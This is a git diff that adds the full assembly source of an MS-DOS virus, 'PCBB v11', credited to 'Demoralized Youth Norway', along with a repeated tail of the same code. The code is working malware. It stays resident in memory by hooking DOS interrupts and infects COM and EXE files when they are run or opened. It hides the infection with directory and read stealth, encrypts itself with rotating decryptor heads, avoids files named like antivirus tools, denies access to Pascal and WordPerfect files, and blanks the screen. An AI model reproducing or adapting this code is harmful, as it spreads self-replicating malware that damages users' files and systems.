ah,40h ;Write to handle + mov cx,offset total-100h ;CX = Bytes + mov dx,offset total ;DX = Garbeled code + call int21 ;Call Dos + clc + lahf + cmp al,cl ;all bytes written? + je encr_b1 + stc + lahf +encr_b1: + pop es ;restore ES & DS + pop ds + sahf + ret ;return + + +;޳ +; Choose which encryption-head to use with this generation, and store ޳ +; the pointer and the two internal offsets for later use. ޳ +;޳ +choose_encryption_head: + mov ah,2Ah ;get date + call int21 ;using DOS + xor ah,ah ;clear bits 9-16 of AX + mov cx,ax ;copy AX into CX + inc cx + and cl,7 + mov si,offset enc_data ;point SI to Enc_Data + + cld ;clear direction flag + +lete_etter_enc: + lodsb ;al=[si] , si=si+1 + add si,ax ;si = si + ax + inc si ;si = si + 1 + inc si ;si = si + 1 + loop lete_etter_enc ;continue the searching ... + +funnet_riktige: + sub si,ax + dec si + dec si + + mov encr_h_len,al + lodsb ;load the CX offset + mov encr_h_cx,al + lodsb ;load the XOR offset + mov encr_h_xor,al + mov encr_h_ofs,si + ret + + +;db 'Eddie lives... Somewhere in time...' + +init: + cli + xor ax,ax + mov ds,ax + mov si,9*4 + mov di,offset old_key + movsw + movsw + add si,(1Ch*4)-(9*4)-4 + mov di,offset oldh + movsw + movsw + add si,(21h*4)-(1Ch*4)-4 + mov di,offset org21 + movsw + movsw + + mov word [09h*4+2],cs + mov word [09h*4], offset key_rout + + mov word [1Ch*4+2],cs + mov word [1Ch*4], offset tmr_rout + + mov word [21h*4+2],cs + mov word [21h*4], offset ni21 + sti + + retf + + +;޳ +; Disk Stealth: Read from handle (Int 21h,3Fh) ޳ +;޳ +read: + call push_all + + mov cs:_handle,bx + mov cs:_bytes,cx + + push cs + pop ds + + mov ax,1220h + push bx + push ax + int 2Fh + mov bl,es:[di] + pop ax + sub al,0Ah + int 2Fh + pop bx + + cmp word ptr [di+28h],'OC' + jne j_dso1 + cmp byte ptr [di+28h+2],'M' + je j_dso0 +j_dso1: + cmp word ptr [di+28h],'XE' + jne j_dso3 + cmp byte ptr [di+28h+2],'E' + je j_dso0 +j_dso3: + jmp phocked + +j_dso0: + push es:[di+15h] + push es:[di+17h] + push es:[di+2h] + or byte es:[di+2],3 + + mov ax,es:[di+15h] + mov pos[0],ax + mov ax,es:[di+17h] + mov pos[2],ax + + mov ax,es:[di+11h] + mov cx,es:[di+13h] + + sub ax,31 + sbb cx,0 + mov es:[di+15h],ax + mov es:[di+17h],cx + + mov ah,3Fh + mov cx,31 + mov dx,header + call int21 + jnc read_b1 +read_b2: + jmp done_it +read_b1: + cmp al,31 + jne read_b2 + cmp byte [header+18h],11 + jl read_b2 + + cmp word ptr [header+1Bh],'CP' ;[X_sig] + jne read_b2 + cmp word ptr [header+1Bh+2],'BB' ;[X_sig+2] + jne read_b2 + + mov si,header + push cx + mov cx,12 +decr_l8b: + lodsw + xor ax,'EL' + xor ax,'AH' + xor ax,'W&' + xor ax,'HS' + xor ax,'IF' + mov [si-2],ax + loop decr_l8b + pop cx + + cmp word ptr pos[2],0 + + jne vid4 + cmp word pos[0],23 ;2 + + ja vid4 + + mov stat2,1 + + mov ax,pos[0] + mov bx,_bytes + cmp bx,24 + jb vid5 + mov bx,24 +vid5: + sub bx,ax + mov stealth1st[0],bx +vid4: + mov ax,es:[di+11h] + mov dx,es:[di+13h] + sub ax,[header+19h] ;[x_size] + sbb dx,0 + mov val_len[0],ax + mov val_len[2],dx + + mov bx,pos[0] + mov cx,pos[2] + + cmp cx,dx + jbe vid2 + mov _bytes,0 + jmp done_it +vid2: + cmp cx,dx + jne vid3 + cmp bx,ax + jb vid3 + mov _bytes,0 + jmp done_it +vid3: + mov ax,val_len[0] + mov dx,val_len[2] + + mov bx,pos[0] + mov cx,pos[2] + add bx,_bytes + adc cx,0 + + cmp cx,dx + jae vid + mov _bytes,0 + jmp done_it + +vid: + cmp cx,dx + jne done_it + + cmp ax,bx + jae done_it + + sub bx,ax + sub _bytes,bx + +done_it: + pop es:[di+2] ;restore SFT data's + pop es:[di+17h] + pop es:[di+15h] +phocked: + call pop_all + + mov cx,cs:_bytes ;change CX (if of any use) + + ret ;return + + +;޳ +; DIR Stealth ޳ +;޳ + +stealth_dir_handle: + jc done_stealthing_handle + + pushf + call push_all + + mov ah,2Fh + call int21 + mov ax,word ptr es:[bx+16h] + and al,31 + cmp al,sec + jne done_stealthing_handle + + cmp word es:[bx+1Ah],3*1024 + jc done_stealthing_handle + sub word es:[bx+1Ah],3*1024 + sbb word es:[bx+1Ch],0 + +done_stealthing_handle: + jmp done_stealthing_fcb + +stealth_dir_fcb: + pushf + call push_all + + mov ah,2Fh + call int21 + + cmp byte es:[bx],0FFh ;extended fcb? + jne no_ext_fcb + add bx,7 +no_ext_fcb: + mov al,byte ptr es:[bx+17h] + and al,31 + cmp al,sec + jne done_stealthing_fcb + + cmp word es:[bx+1Dh],3*1024 + jc done_stealthing_fcb + sub word es:[bx+1Dh],3*1024 + sbb word es:[bx+1Fh],0 + +done_stealthing_fcb: + call pop_all + popf + ret + + +reset_i24: push ds + push dx + push ax + lds dx,cs:o24[0] + + mov ax,2524h ;restore int 24 vector + call int21 + pop ax + pop dx + pop ds + ret + +wpbuff db ' ' +;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +; Deny access to any PASCAL or WORD PERFECT files +;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +PAS_WP: + xchg bx,ax + + mov si,dx + cld +search_pas: + lodsw + dec si + + cmp al,0 + je not_pas + cmp ah,0 + je not_pas + + and ax,0DFDFh + + cmp ax,'P.' and 0DFDFh + jne search_pas + mov ax,word [si+1] + and ax,0DFDFh + cmp ax,'SA' + je fuck_wp +not_pas: + xchg bx,ax + call int21 + jc not_wp + + xchg bx,ax + cmp bx,5 + jb not_wp + + xor si,si + + mov ah,3Fh + mov cx,3 + push cs + pop ds + mov dx,offset wpbuff + call int21 + + jc close_wp + cmp cx,3 + jne close_wp + + cmp word wpbuff[1],'PW' + + jne close_wp + + inc si +close_wp: + mov ah,3Eh + call int21 + cmp si,0 + je not_wp + +fuck_wp: pop si + call reset_i24 + call pop_all + popf + mov ax,4 + stc + retf 2 +not_wp: + mov ah,3Dh + ret + +;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +; Anti WiNDOWS Routine +; (Just started... Not at all ready!!!) +;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +windows: + ret + +;; call push_all +; xchg cx,ax +; mov di,dx +; push ds +; pop es +; cld +; xor al,al +;winsrc: repnz scasb +; jne win_fail +; +; sub di,8 +; xchg si,di + + +;db 'Elo, Elo, lam sabaktni?' + +dummy db 18h dup(0) ;3 + +version db ver ;\ +size dw (offset total)-100h ; > 6 bytes +db 'PCBB' ;/ + +total: + tsr_para equ ((1024*6)/16) +2 ;equ (($-100h / 16)+2)*2 + + + \ No newline at end of file diff --git a/p/PCBB.ASM b/p/PCBB.ASM new file mode 100755 index 0000000..ec87750 --- /dev/null +++ b/p/PCBB.ASM @@ -0,0 +1,1428 @@ +sec equ 28 +ideal equ 3*1024 ;every file will increase by this ammount of bytes + +; +; +; +; ۲ ۲ ۲ ۲ +; ۲۲ ۲۲ ۲۲ ۲۲ +; ۲۲ ۲ ۲۲ ۲۲ +; ۲ ۲ ۲ ۲ +; ۲ ۲ ۲۲ ۲۲ +; ۲ ۲۲ ۲۲ ۲۲ +; ۲ ۲ ۲ ۲ +; +; +; +; +Ver equ 11 +; + +cpt1 equ $ ;Checkpoint 1 + +enc_start equ $ +org 100h + call dummyjmp1 + +marker db 0 ;com / exe marker (0=com, 1=exe) + +dummyjmp1: pop bx + + cmp byte [bx],0 + je is_a_com + + mov ax,es + add ax,0 +exe_cpt1 equ $-2 + push ax + mov ax,0 +exe_cpt2 equ $-2 + push ax + + push es + pop ds + jmp cont_install + +is_a_com: + push cs + mov ax,100h + push ax + +cont_install: + push ds + + push cs + pop ds + + call one_three + + mov ax,0C001h + mov bx,ax + add ax,07DFFh + + db 0EBh,01,0EBh + + int 21h + + db 0E9h,1,0,0B8h + + cmp bx,0D00Dh + je startup_fail + + call one_three + +; cmp sp,-10h +; jb startup_fail + + mov ax,es + dec ax + mov es,ax + cmp byte es:[0000h],'Z' + jne startup_fail + + mov ax,es:[0003h] + sub ax,tsr_para + jc startup_fail + + mov es:[0003h],ax + sub word ptr es:[0012h],tsr_para + mov es,es:[0012h] + + call one_three + + call $+3 + +cpt3 equ $ ;Checkpoint 3 + + pop si + sub si,(cpt3-cpt1) + mov bx,si + add si,(cpt4-cpt1) + push cs + push si + + mov si,bx + mov cx,offset total-100h + mov di,100h + push es + rep movsb + mov di,offset init + push di + + retf +cpt4 equ $ ;Checkpoint 4 + +startup_fail: + call $+3 +dummycpt1 equ $-offset marker + sub ax,ax + xor bx,bx + sub cx,cx + xor dx,dx + xor di,di + sub bp,bp + pop si + pop ds + push ds + pop es + cmp byte cs:[si-dummycpt1],1 + je file_is_exe + + mov word [100h],20CDh +rpl1 equ $-2 + mov byte [102h],90h +rpl2 equ $-1 + +file_is_exe: + sub si,si + retf + +cpt2 equ $ ;Checkpoint 2 + +;**************************************************************************** +;* Data Area * +;**************************************************************************** + +;sft equ 005Ch ;3Ah + +ofs_scan_crc equ 0050h ;+3 +ofs_chk_ver equ 0053h ;+1 version number +ofs_chk_size equ 0054h ;+2 version size +ofs_chk_sig equ 0056h ;+4 signature + +header equ 005Ah +ofs_first_3 equ 005Ah ;+3 three first bytes in COM +ofs_time equ 008Dh ;+2 +ofs_date equ 008Fh ;+2 +ofs_attr equ 0091h ;2 + +sft_attr equ 04h ;(byte) +sft_time equ 0Dh ;(word) +sft_date equ 0Fh ;(word) +sft_size equ 11h ;(dword) + +; ;CRC signature added by "SCAN /AV" +;scan_sig db 0f0h,0fdh,0c5h,0aah,0ffh,0f0h + +set_sgm: push cs + push ds + + +f_size dw 0 +bb_stat db 0 +cntr dw 0 +r_cntr dw 0,0 + +;;; DISK S. DATA ;;; +x_first3 db ' ' +x_version db 0 +x_size dw 0 +x_sig db ' ' + +stat db 0 +stat2 db 0 + +handle dw 0 + +_handle dw 0 +;_dx dw 0 +;_ds dw 0 +_bytes dw 0 +val_len dw 0,0 +pos dw 0,0 +pos2 dw 0,0 + +append dw 0 + +stealth1st dw 0 + +;;;DISK S DATA ENDS;;; + +;db 'Only The Good Die Young' + + +jmp_to dw 0 + +push_all: + pop cs:[jmp_to] + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + jmp cs:[jmp_to] + +pop_all: + pop cs:[jmp_to] + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp cs:[jmp_to] + + + + + +handle_dir: + popf + call int21 + + pushf + jnc back_handle_dir + +; cmp ax,0 +; jne back_handle_dir + + call stealth_dir_handle + sti +back_handle_dir: + popf + iret + +fcb_dir: + popf + call int21 + + pushf + cmp al,00h + jne back_fcb_dir + + call stealth_dir_fcb + sti +back_fcb_dir: + popf + iret + + + + +;**************************************************************************** +;* Interupt 24 handler * +;**************************************************************************** +ni24: mov al,3 + iret + +;**************************************************************************** +;* Call OLD Interrupt 21 Handler +;**************************************************************************** +int21: + pushf + call dword ptr cs:org21 + ret + +;**************************************************************************** +;* Interupt 21 handler * +;**************************************************************************** +ni21: pushf + +;cmp ah,40h +;je __read + +;jmp no_fcb12 ;no_bogus + + cmp ah,11h + jne no_fcb11 + jmp fcb_dir +no_fcb11: + cmp ah,12h + jne no_fcb12 + jmp fcb_dir +no_fcb12: + +jmp no_bogus + + cmp ah,03Fh + jne no_bogus +__read: jmp _read + +no_bogus: + cmp ah,03Eh + jne body + cmp bx,0C001h + + jne body + mov bx,0D00Dh + popf + stc + retf 2 + +o24 dw 0,0 +o13 dw 0,0 + +body: + call push_all + + push ax + push ds + push dx + push es + push bx + + xor ax,ax + mov es,ax + les bx,es:[24h*4] + + mov cs:o24[0],bx + mov cs:o24[2],es + mov ax,2524h + mov dx,offset ni24 + push cs + pop ds + call int21 + pop bx + pop es + pop dx + pop ds + pop ax + + + cmp ah,3Eh ;close ? + jne vvv + cmp bx,5 + jl exit + + mov ah,45h ;duplicate handle + jmp doit +vvv: cmp ah,56h ;rename ? + je dsdx + cmp ah,43h ;chmod ? + je dsdx + cmp ah,3Dh + jne not_open + + call pas_wp +not_open: + ; cmp ah,3Dh ;open ? + ; je dsdx + cmp ax,4B00h ;execute ? + jne exit + +dsdx: mov ax,3D00h ;open the file +doit: call int21 + jc exit + xchg ax,bx + jmp infect + +exit: + call reset_i24 + +glemmdet: + call pop_all +alfa: + popf + + db 0EAh ;JMP FAR xxxx:xxxx +org21 dw 0,0 + + +avslussen: mov ah,4Ch + int 21h + +one_three: + ret + pushf + push ax + push ds + push dx + + push cs + pop ds + + call $+3 + pop dx + sub dx,($-1)-offset avslussen + push cs + pop ds + + mov ax,2501h + int 21h + inc al + inc al + int 21h + + pop dx + pop ds + pop ax + popf + ret + + +db 'PCBB v11 (c) Hannibal Lechter of Demoralized Youth Norway' + +;**************************************************************************** +;* Try to stealth a HANDLE READ (3Fh) +;**************************************************************************** +_read: + cmp cs:stat,1 + je alfa + mov cs:stat,1 + cmp bx,5 + jl alfa + jcxz alfa + + mov cs:stat2,0 + call read + cmp cs:stat2,0 + je back2 + + popf + pushf + call dword ptr cs:org21 + jc back3 + + pushf + call push_all + + push ds + pop es + push cs + pop ds + + mov bx,pos[0] + mov cx,stealth1st[0] + + mov di,dx + add di,bx + mov si,offset header ;x_first3 + add si,bx + + cld +first_b2: + movsb + dec cx + jcxz first_b1 + inc bx + cmp bx,24 + jl first_b2 +first_b1: + call pop_all + popf +back3: + mov cs:stat,0 + mov cs:stat2,0 + iret +back2: + mov cs:stat,0 + mov cs:stat2,0 + jmp alfa + +;**************************************************************************** +;* Close the file +;**************************************************************************** +close: + push cx + push dx + + mov ax,5701h + mov cx,word cs:[ofs_time] + mov dx,word cs:[ofs_date] + call int21 + +; mov al,byte cs:[ofs_attr] +; mov byte [di+4],al + +; mov ax,4301h +; mov cx,word cs:[ofs_attr] +; call int21 + + pop dx + pop cx + + mov ah,3Eh + call int21 + ret + + +;db 'Now I lay me down to sleep, I pray the lord my soul to keep, If I die before ' +;db 'I wake, I pray the lord my soul to take' + +infect: cld + + mov cs:handle,bx + + mov ax,5700h + int 21h + mov word cs:[ofs_time],cx + mov word cs:[ofs_date],dx + + +;start NOP'ing here... +; push es +; push bx +; +; mov ax,3513h +; int 21h +; +; mov cs:o13[0],bx +; mov cs:o13[2],es +; +; mov ah,13h +; int 2Fh +; push es +; push bx +; int 2Fh +; pop dx +; pop ds +; mov ax,2513h +; int 21h +; +; pop bx +; pop es +; +;stop NOP'ing here... + + mov ax,1220h ;get file-table entry + push bx + push ax + int 2Fh + mov bl,es:[di] + pop ax + sub al,0Ah + int 2Fh + pop bx + + push es + pop ds + + push [di+2] ;save attr & open-mode + push [di+4] + + mov al,[di+4] + mov byte cs:[ofs_attr],al + + cmp word [di+sft_size+2],0 + jne close1v + mov ax,word [di+sft_size] + cmp ah,0F0h + ja close1v + cmp ah,0 + jl close1v + + mov cs:f_size,ax + + cmp word ptr [di+28h],'XE' + jne not_exe + cmp word ptr [di+2Ah],'E' + je check_name + +not_exe: cmp word ptr [di+28h],'OC' + jne close1v ;jne + cmp byte ptr [di+2Ah],'M' +check: je check_name +close1v: jmp close1 + +check_name: cmp byte ptr [di+20h],'V' ;name is V*.* ? + je close1v + cmp byte ptr [di+20h],'F' ;name is F*.* ? + je close1v + + mov cx,7 ;name is *SC*.* ? + mov ax,'CS' + push di + add di,21h + cld +SCloop: dec di + scasw + loopnz SCloop + pop di + je close1v + + mov byte ptr [di+2],2 ;open for read/write + mov byte ptr [di+4],0 ;clear attributes + + cld + jmp read_info +_call1: + jc close2 +; push [di+0Dh] +; push [di+0Fh] + + jmp patch_it +_call0: +; pop [di+0Fh] +; pop [di+0Dh] +close2: + + push es ;close after infection + pop ds + + or byte ptr [di+6],40h ;no time-change + +; pop [di+4] +; pop [di+2] +; push [di+2] +; push [di+4] + +close1: call close ;normal close + + or byte ptr [di+5],40h ;no EOF on next close + pop [di+4] ;restore attribute & open-mode + pop [di+2] + +;start NOP +; lds dx,cs:o13[0] +; mov ax,2513h +; call int21 +;stop NOP + + + jmp exit + +read_info: + push ds + + push ds ;(ds) + pop es + + push cs + pop ds + + mov ah,3Fh + mov cx,18h + mov dx,ofs_first_3 + call int21 + jc failed + cmp al,18h + jne failed + + xchg cx,ax + shr cx,1 + mov si,ofs_first_3 + mov di,offset dummy + +encr_l8b: + lodsw + xor ax,'IF' + xor ax,'HS' + xor ax,'W&' + xor ax,'AH' + xor ax,'EL' + mov [di],ax + inc di + inc di + loop encr_l8b + + mov ax,4202h + mov cx,-1 + mov dx,-10 + call int21 + jc failed + + mov ah,3Fh + mov cx,10 + mov dx,ofs_scan_crc + call int21 + jc failed + cmp al,10 + jne failed + + mov ax,word ptr [ofs_first_3] + not ax + + cmp word ptr [ofs_chk_sig],'CP' ;is word [EOF-4] = 'PC' ? + jne not_infected + cmp word ptr [ofs_chk_sig+2],'BB' ;is word [EOF-2] = 'BB' ? + jne not_infected + jmp failed + +not_infected: + pop ds + clc + jmp _call1 +failed: + pop ds + stc + jmp _call1 + +;db 13,10 +;db "Whoe to you of earth and sea...",13,10 +;db "For the devil sends the beast with wrath,",13,10 +;db "Because he knows the time is short...",13,10 +;db "The people who have understanding,",13,10 +;db "Reckon the number of the beast,",13,10 +;db "Because it is a secret number...",13,10 +;db "It's number is six-hundred and sixty-six!",13,10,36 + +db 'When you are demoralized.... there is NO way out!',13,10,36 + +;޳ +; Keyboard (Int 09h) Handler ޳ +;޳ +key_rout: + pushf + + inc cs:r_cntr[0] + adc cs:r_cntr[2],0 + + inc cs:cntr + cmp cs:cntr,offset total + jl key_b1 + mov cs:bb_stat,1 + mov cs:cntr,0 +key_b1: + cmp cs:bb_stat,0 + je key_b2 + + push ax + push cx + push dx + push ds + + xor ax,ax + mov ds,ax + mov al,byte ptr [417h] + and al,15 + cmp al,15 + jne key_b3 + + mov cs:bb_stat,0 + + mov dx,3DAh + in al,dx + mov dx,3BAh + in al,dx + mov dx,3C0h + mov al,20h + out dx,al +key_b3: + pop ds + pop dx + pop cx + pop ax +key_b2: + popf + + db 0EAh +old_key dw 0,0 ;old KBD vector + + +;޳ +; Timer Tick (Int 1Ch) Handler ޳ +;޳ +tmr_rout: + pushf + + cmp cs:bb_stat,0 + je tmr_b1 + + push ax + push dx + + mov dx,3DAh + in al,dx + mov dx,3BAh + in al,dx + mov dx,3C0h + mov al,0 + out dx,al ;0 = off, 32 = on + + pop dx + pop ax +tmr_b1: + popf + db 0EAh + oldh dw 0,0 ;Old TIMER-TICK vector + +enc_data db 011h,009h,00Dh,0E8h,000h,000h,05Eh,081h,0C6h,00Eh,000h,0B9h,000h + db 000h,080h,034h,000h,046h,0E2h,0FAh,013h,009h,00Fh,0E8h,000h,000h + db 05Bh,081h,0C3h,010h,000h,0B9h,000h,000h,033h,0F6h,080h,030h,000h + db 046h,0E2h,0FAh,015h,004h,012h,0E8h,000h,000h,0B9h,000h,000h,089h + db 0E5h,081h,046h,000h,012h,000h,05Eh,046h,080h,074h,0FFh,000h,0E2h + db 0F9h,015h,001h,012h,0B9h,000h,000h,089h,0E5h,0E8h,000h,000h,081h + db 046h,0FEh,00Dh,000h,05Bh,043h,080h,077h,0FFh,000h,0E2h,0F9h,016h + db 001h,013h,0B9h,000h,000h,08Bh,0DCh,0E8h,000h,000h,036h,081h,047h + db 0FEh,00Eh,000h,05Bh,043h,080h,077h,0FFh,000h,0E2h,0F9h,019h,001h + db 016h,0B9h,000h,000h,08Bh,0DCh,0E8h,000h,000h,083h,0EBh,004h,036h + db 081h,047h,002h,011h,000h,05Fh,047h,080h,075h,0FFh,000h,0E2h,0F9h + db 01Dh,009h,014h,0FCh,0EBh,002h,0C6h,006h,0E8h,000h,000h,0B9h,000h + db 000h,05Eh,081h,0C6h,015h,000h,0EBh,001h,0CDh,0B4h,000h,0ACh,032h + db 0C4h,088h,044h,0FFh,0E2h,0F8h + +encr_h_ofs dw 0 +encr_h_cx db 0 +encr_h_xor db 0 +encr_h_len db 0 + +repl0: db 0E8h,0,0 +repl1: jmp near 0100h + +patch_it: + push di + push si + push ds + + push cs + pop ds + + mov marker,0 + + cmp word [ofs_first_3],'MZ' + je exe_calc + cmp word [ofs_first_3],'ZM' + je exe_calc + + mov ax,f_size + sub ax,3 + mov repl0[1],ax + + mov ax,word [ofs_first_3] + mov dl,byte [ofs_first_3+2] + + mov [offset rpl1],ax + mov [offset rpl2],dl + jmp j_encrypt + +oldl0 dw 0 +oldl2 dw 0 + +exe_calc: + mov ax,4202h + xor cx,cx + xor dx,dx + call int21 + + mov oldl0,ax + mov oldl2,dx + + push ax + push dx + + mov ax,word [header+16h] + add ax,10h + mov word [exe_cpt1],ax + mov ax,word [header+14h] + mov word [exe_cpt2],ax + + pop dx + pop ax + push ax + push dx + + add ax,ideal + adc dx,0 + +; mov ax,oldl0 + mov cx,512 + div cx + inc ax + mov word [header+4],ax + mov word [header+2],dx + + pop dx + pop ax + + mov cx,16 + div cx + sub ax,word [header+8] + mov word [header+16h],ax + mov word [header+14h],dx + + mov marker,1 + +j_encrypt: + call encrypt ;encrypt & write + sahf + jc no_write_1st + + mov ax,4200h + xor cx,cx + mov dx,cx + call int21 + + cmp marker,1 + je exe_jump + + mov ah,40h + mov cx,3 + mov dx,offset repl0 ;write "CALL" head + call int21 + jmp alldone + +exe_jump: mov ah,40h + mov cx,18h + mov dx,ofs_first_3 + int 21h +alldone: + and byte cs:[ofs_time],255-31 + or byte cs:[ofs_time],sec +no_write_1st: + pop ds + pop si + pop di + sahf + jmp _call0; ret + +;db 'Blessed is the one who expects nothing, for he shall not be dissapointed$' + +;޳ +; Encrypt & Write ޳ +;޳ +encrypt: + push ds ;Save DS & ES + push es + + push cs ;DS = ES = CS + push cs + pop ds + pop es + + push bx ;Save BX + + cld + call choose_encryption_head ;Choose encryption head +get_enc_key: + db 0E4h,40h + cmp al,0 + je get_enc_key + + mov bh,0 ;BH = 0 + mov bl,encr_h_xor ;BL = internal XOR-ofs + mov byte [si+bx],al ;b [Si+Bx] = Encr. key + mov bl,encr_h_cx ;BL = internal CX-ofs + mov word [si+bx],offset total-10Ah ;w [Si+Bx] = Encr.length + xchg di,ax ;DI = AX + + pop bx + push bx + + push ax + push di + cld + mov di,offset total + mov cx,2048 + mov al,'' + rep stosb + pop di + + xor ch,ch + mov cl,encr_h_len + add cx,offset total-100h + xchg cx,ax + mov cx,ideal + sub cx,ax + mov ah,40h + mov append,cx + mov dx,offset total + mov word [total],1F0Eh + call int21 + pop ax + + mov ah,40h ;Write to handle + pop bx ;restore handle number + xor ch,ch ;CH = 0 + mov cl,encr_h_len ;CL = Length of de-garbler + mov dx,si ;DX = Offset to de-garbler-head + call int21 ;Call DOS + + lahf ;AH = FLAGS + cmp al,cl ;All bytes written? + je success ;yes, then degarbler written + + sahf ;FLAGS = AH + jnc success ;If no error, then... + stc ;...set CY, and... + ret ;...return. +success: + xchg di,ax ;DI = AX + xchg al,ah ;Exchange AL with AH + mov si,100h ;SourceIndex = 100h + mov di,offset total ;DI = End-Of-Code + mov cx,offset total-11Fh ;Encryption length +encrypt_l: + lodsb ;al = [SI], si: +1 + xor al,ah ;garble byte + stosb ;[DI] = al, di: +1 + loop encrypt_l ;and again.... + + xor cx,cx + mov cl,encr_h_len + add cx,(offset total)-100h + add cx,append + mov size,cx + + mov cx,31 ;the last bytes remain + rep movsb ;degarbeled + + mov ah,40h ;Write to handle + mov cx,offset total-100h ;CX = Bytes + mov dx,offset total ;DX = Garbeled code + call int21 ;Call Dos + clc + lahf + cmp al,cl ;all bytes written? + je encr_b1 + stc + lahf +encr_b1: + pop es ;restore ES & DS + pop ds + sahf + ret ;return + + +;޳ +; Choose which encryption-head to use with this generation, and store ޳ +; the pointer and the two internal offsets for later use. ޳ +;޳ +choose_encryption_head: + mov ah,2Ah ;get date + call int21 ;using DOS + xor ah,ah ;clear bits 9-16 of AX + mov cx,ax ;copy AX into CX + inc cx + and cl,7 + mov si,offset enc_data ;point SI to Enc_Data + + cld ;clear direction flag + +lete_etter_enc: + lodsb ;al=[si] , si=si+1 + add si,ax ;si = si + ax + inc si ;si = si + 1 + inc si ;si = si + 1 + loop lete_etter_enc ;continue the searching ... + +funnet_riktige: + sub si,ax + dec si + dec si + + mov encr_h_len,al + lodsb ;load the CX offset + mov encr_h_cx,al + lodsb ;load the XOR offset + mov encr_h_xor,al + mov encr_h_ofs,si + ret + + +;db 'Eddie lives... Somewhere in time...' + +init: + cli + xor ax,ax + mov ds,ax + mov si,9*4 + mov di,offset old_key + movsw + movsw + add si,(1Ch*4)-(9*4)-4 + mov di,offset oldh + movsw + movsw + add si,(21h*4)-(1Ch*4)-4 + mov di,offset org21 + movsw + movsw + + mov word [09h*4+2],cs + mov word [09h*4], offset key_rout + + mov word [1Ch*4+2],cs + mov word [1Ch*4], offset tmr_rout + + mov word [21h*4+2],cs + mov word [21h*4], offset ni21 + sti + + retf + + +;޳ +; Disk Stealth: Read from handle (Int 21h,3Fh) ޳ +;޳ +read: + call push_all + + mov cs:_handle,bx + mov cs:_bytes,cx + + push cs + pop ds + + mov ax,1220h + push bx + push ax + int 2Fh + mov bl,es:[di] + pop ax + sub al,0Ah + int 2Fh + pop bx + + cmp word ptr [di+28h],'OC' + jne j_dso1 + cmp byte ptr [di+28h+2],'M' + je j_dso0 +j_dso1: + cmp word ptr [di+28h],'XE' + jne j_dso3 + cmp byte ptr [di+28h+2],'E' + je j_dso0 +j_dso3: + jmp phocked + +j_dso0: + push es:[di+15h] + push es:[di+17h] + push es:[di+2h] + or byte es:[di+2],3 + + mov ax,es:[di+15h] + mov pos[0],ax + mov ax,es:[di+17h] + mov pos[2],ax + + mov ax,es:[di+11h] + mov cx,es:[di+13h] + + sub ax,31 + sbb cx,0 + mov es:[di+15h],ax + mov es:[di+17h],cx + + mov ah,3Fh + mov cx,31 + mov dx,header + call int21 + jnc read_b1 +read_b2: + jmp done_it +read_b1: + cmp al,31 + jne read_b2 + cmp byte [header+18h],11 + jl read_b2 + + cmp word ptr [header+1Bh],'CP' ;[X_sig] + jne read_b2 + cmp word ptr [header+1Bh+2],'BB' ;[X_sig+2] + jne read_b2 + + mov si,header + push cx + mov cx,12 +decr_l8b: + lodsw + xor ax,'EL' + xor ax,'AH' + xor ax,'W&' + xor ax,'HS' + xor ax,'IF' + mov [si-2],ax + loop decr_l8b + pop cx + + cmp word ptr pos[2],0 + + jne vid4 + cmp word pos[0],23 ;2 + + ja vid4 + + mov stat2,1 + + mov ax,pos[0] + mov bx,_bytes + cmp bx,24 + jb vid5 + mov bx,24 +vid5: + sub bx,ax + mov stealth1st[0],bx +vid4: + mov ax,es:[di+11h] + mov dx,es:[di+13h] + sub ax,[header+19h] ;[x_size] + sbb dx,0 + mov val_len[0],ax + mov val_len[2],dx + + mov bx,pos[0] + mov cx,pos[2] + + cmp cx,dx + jbe vid2 + mov _bytes,0 + jmp done_it +vid2: + cmp cx,dx + jne vid3 + cmp bx,ax + jb vid3 + mov _bytes,0 + jmp done_it +vid3: + mov ax,val_len[0] + mov dx,val_len[2] + + mov bx,pos[0] + mov cx,pos[2] + add bx,_bytes + adc cx,0 + + cmp cx,dx + jae vid + mov _bytes,0 + jmp done_it + +vid: + cmp cx,dx + jne done_it + + cmp ax,bx + jae done_it + + sub bx,ax + sub _bytes,bx + +done_it: + pop es:[di+2] ;restore SFT data's + pop es:[di+17h] + pop es:[di+15h] +phocked: + call pop_all + + mov cx,cs:_bytes ;change CX (if of any use) + + ret ;return + + +;޳ +; DIR Stealth ޳ +;޳ + +stealth_dir_handle: + jc done_stealthing_handle + + pushf + call push_all + + mov ah,2Fh + call int21 + mov ax,word ptr es:[bx+16h] + and al,31 + cmp al,sec + jne done_stealthing_handle + + cmp word es:[bx+1Ah],3*1024 + jc done_stealthing_handle + sub word es:[bx+1Ah],3*1024 + sbb word es:[bx+1Ch],0 + +done_stealthing_handle: + jmp done_stealthing_fcb + +stealth_dir_fcb: + pushf + call push_all + + mov ah,2Fh + call int21 + + cmp byte es:[bx],0FFh ;extended fcb? + jne no_ext_fcb + add bx,7 +no_ext_fcb: + mov al,byte ptr es:[bx+17h] + and al,31 + cmp al,sec + jne done_stealthing_fcb + + cmp word es:[bx+1Dh],3*1024 + jc done_stealthing_fcb + sub word es:[bx+1Dh],3*1024 + sbb word es:[bx+1Fh],0 + +done_stealthing_fcb: + call pop_all + popf + ret + + +reset_i24: push ds + push dx + push ax + lds dx,cs:o24[0] + + mov ax,2524h ;restore int 24 vector + call int21 + pop ax + pop dx + pop ds + ret + +wpbuff db ' ' +;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +; Deny access to any PASCAL or WORD PERFECT files +;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +PAS_WP: + xchg bx,ax + + mov si,dx + cld +search_pas: + lodsw + dec si + + cmp al,0 + je not_pas + cmp ah,0 + je not_pas + + and ax,0DFDFh + + cmp ax,'P.' and 